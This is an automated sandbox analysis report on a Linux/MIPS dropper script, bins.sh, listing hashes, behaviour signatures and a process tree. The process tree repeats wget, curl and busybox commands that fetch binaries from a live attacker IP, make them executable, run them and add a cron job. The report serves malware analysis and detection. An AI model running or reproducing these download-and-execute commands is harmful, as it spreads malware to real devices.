Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    09-11-2024 13:46

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    db199d59ba08e033c581aecba2219c42

  • SHA1

    469f462f64f7554cfb806ffec3c825e6b2d2cd61

  • SHA256

    483b8ef88573fcd07bcbebbd9493eb7821f86e77cd499adcb534b5f9fee9f5f3

  • SHA512

    03ca54d3480cdd7c3a98c177eb51675650624e33bb1bc55876c3eb44ab24749530df58c439a1f1dc88d62cb6d2b12b4ea885ac0e896d0aa747f86a2a5959a04c

  • SSDEEP

    192:nSWLaKmTJJo+oMYFCi/AJZwn7mCMYFCikJZwn7XSWLaKTL:QTJJo+eKyL

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1835) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:712
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:719
        • /usr/bin/wget
          wget http://87.120.84.230/bins/DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY
          2⤵
          • Writes file to tmp directory
          PID:721
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY
          2⤵
          • Writes file to tmp directory
          PID:734
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY
          2⤵
          • Writes file to tmp directory
          PID:741
        • /bin/chmod
          chmod 777 DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY
          2⤵
          • File and Directory Permissions Modification
          PID:743
        • /tmp/DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY
          ./DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY
          2⤵
          • Executes dropped EXE
          PID:744
        • /bin/rm
          rm DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY
          2⤵
            PID:746
          • /usr/bin/wget
            wget http://87.120.84.230/bins/EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y
            2⤵
            • Writes file to tmp directory
            PID:748
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y
            2⤵
            • Writes file to tmp directory
            PID:749
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y
            2⤵
            • Writes file to tmp directory
            PID:750
          • /bin/chmod
            chmod 777 EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y
            2⤵
            • File and Directory Permissions Modification
            PID:751
          • /tmp/EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y
            ./EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y
            2⤵
            • Executes dropped EXE
            PID:752
          • /bin/rm
            rm EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y
            2⤵
              PID:754
            • /usr/bin/wget
              wget http://87.120.84.230/bins/z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA
              2⤵
              • Writes file to tmp directory
              PID:755
            • /usr/bin/curl
              curl -O http://87.120.84.230/bins/z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA
              2⤵
              • Writes file to tmp directory
              PID:756
            • /bin/busybox
              /bin/busybox wget http://87.120.84.230/bins/z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA
              2⤵
              • Writes file to tmp directory
              PID:757
            • /bin/chmod
              chmod 777 z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA
              2⤵
              • File and Directory Permissions Modification
              PID:758
            • /tmp/z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA
              ./z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:759
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:761
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                      PID:762
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:763
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:764
                  • /bin/rm
                    rm z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA
                    2⤵
                      PID:766
                    • /usr/bin/wget
                      wget http://87.120.84.230/bins/JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f
                      2⤵
                        PID:836
                      • /usr/bin/curl
                        curl -O http://87.120.84.230/bins/JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f
                        2⤵
                          PID:861
                        • /bin/busybox
                          /bin/busybox wget http://87.120.84.230/bins/JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f
                          2⤵
                          • Writes file to tmp directory
                          PID:862
                        • /bin/chmod
                          chmod 777 JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f
                          2⤵
                          • File and Directory Permissions Modification
                          PID:863
                        • /tmp/JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f
                          ./JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f
                          2⤵
                          • Executes dropped EXE
                          PID:864
                        • /bin/rm
                          rm JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f
                          2⤵
                            PID:867
                          • /usr/bin/wget
                            wget http://87.120.84.230/bins/e9jKHdDKImGWljC5EvIEqyRWKPbUqZGkbq
                            2⤵
                              PID:872
                            • /usr/bin/curl
                              curl -O http://87.120.84.230/bins/e9jKHdDKImGWljC5EvIEqyRWKPbUqZGkbq
                              2⤵
                                PID:875
                              • /bin/busybox
                                /bin/busybox wget http://87.120.84.230/bins/e9jKHdDKImGWljC5EvIEqyRWKPbUqZGkbq
                                2⤵
                                • Writes file to tmp directory
                                PID:876
                              • /bin/chmod
                                chmod 777 e9jKHdDKImGWljC5EvIEqyRWKPbUqZGkbq
                                2⤵
                                • File and Directory Permissions Modification
                                PID:881
                              • /tmp/e9jKHdDKImGWljC5EvIEqyRWKPbUqZGkbq
                                ./e9jKHdDKImGWljC5EvIEqyRWKPbUqZGkbq
                                2⤵
                                • Executes dropped EXE
                                PID:882
                              • /bin/rm
                                rm e9jKHdDKImGWljC5EvIEqyRWKPbUqZGkbq
                                2⤵
                                  PID:884
                                • /usr/bin/wget
                                  wget http://87.120.84.230/bins/64T3lXPAlQhTDUaFGQmgwI29SnP1CUemlg
                                  2⤵
                                    PID:886
                                  • /usr/bin/curl
                                    curl -O http://87.120.84.230/bins/64T3lXPAlQhTDUaFGQmgwI29SnP1CUemlg
                                    2⤵
                                      PID:888
                                    • /bin/busybox
                                      /bin/busybox wget http://87.120.84.230/bins/64T3lXPAlQhTDUaFGQmgwI29SnP1CUemlg
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:889
                                    • /bin/chmod
                                      chmod 777 64T3lXPAlQhTDUaFGQmgwI29SnP1CUemlg
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:895
                                    • /tmp/64T3lXPAlQhTDUaFGQmgwI29SnP1CUemlg
                                      ./64T3lXPAlQhTDUaFGQmgwI29SnP1CUemlg
                                      2⤵
                                      • Executes dropped EXE
                                      PID:896
                                    • /bin/rm
                                      rm 64T3lXPAlQhTDUaFGQmgwI29SnP1CUemlg
                                      2⤵
                                        PID:899
                                      • /usr/bin/wget
                                        wget http://87.120.84.230/bins/reG21Tzcz9iRfNu2Pql8M5DKiBBcerOQDj
                                        2⤵
                                          PID:900

                                      Network

                                      MITRE ATT&CK Enterprise v15

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      • /tmp/64T3lXPAlQhTDUaFGQmgwI29SnP1CUemlg

                                        Filesize

                                        98KB

                                        MD5

                                        5141342d0df8699fa32a6b066a0c592e

                                        SHA1

                                        8157673225bd5182f16215e2aa823a25ca2d4fbc

                                        SHA256

                                        54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                        SHA512

                                        d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                      • /tmp/DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY

                                        Filesize

                                        119KB

                                        MD5

                                        1b166b95f9cb4b079ef1b9ec8363ddf3

                                        SHA1

                                        0d8eb08add467b3b5474f9b25909297fe7c2839c

                                        SHA256

                                        94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                        SHA512

                                        983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                      • /tmp/EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y

                                        Filesize

                                        111KB

                                        MD5

                                        701e7a55a4f3650f5feee92a9860e5fc

                                        SHA1

                                        6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                        SHA256

                                        ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                        SHA512

                                        7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                      • /tmp/JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f

                                        Filesize

                                        151KB

                                        MD5

                                        6c583043d91c55aa470c08c87058e917

                                        SHA1

                                        abf65a5b9bba69980278ad09356e53de8bb89439

                                        SHA256

                                        2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                        SHA512

                                        82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                      • /tmp/e9jKHdDKImGWljC5EvIEqyRWKPbUqZGkbq

                                        Filesize

                                        112KB

                                        MD5

                                        05d7857dcead18bbd86d2935f591873c

                                        SHA1

                                        34d18f41ef35f93d5364ce3e24d74730a4e91985

                                        SHA256

                                        2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                        SHA512

                                        d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                      • /tmp/z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA

                                        Filesize

                                        151KB

                                        MD5

                                        3c90d5820bddcf7c5d1bd21dfa49d958

                                        SHA1

                                        5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                        SHA256

                                        bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                        SHA512

                                        54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                      • /var/spool/cron/crontabs/tmp.dTpYSc

                                        Filesize

                                        210B

                                        MD5

                                        98d6b983463fbedbfdbfd46575b7356b

                                        SHA1

                                        c4729e73405a0e491ba6ec886f88b9498d2438fe

                                        SHA256

                                        9442f786a38ff2eefb76901b4a193e61f7d12ad5192b043d1a6d31b1d66b95b1

                                        SHA512

                                        bd8509a79e8e1ac24ab5aac124747028d8b9b9cdc556819f5012dbbb3de4a2f48a94ada64ca69ddfc6cdc58a25e129345dab7d81d31b050e24500555caa8242c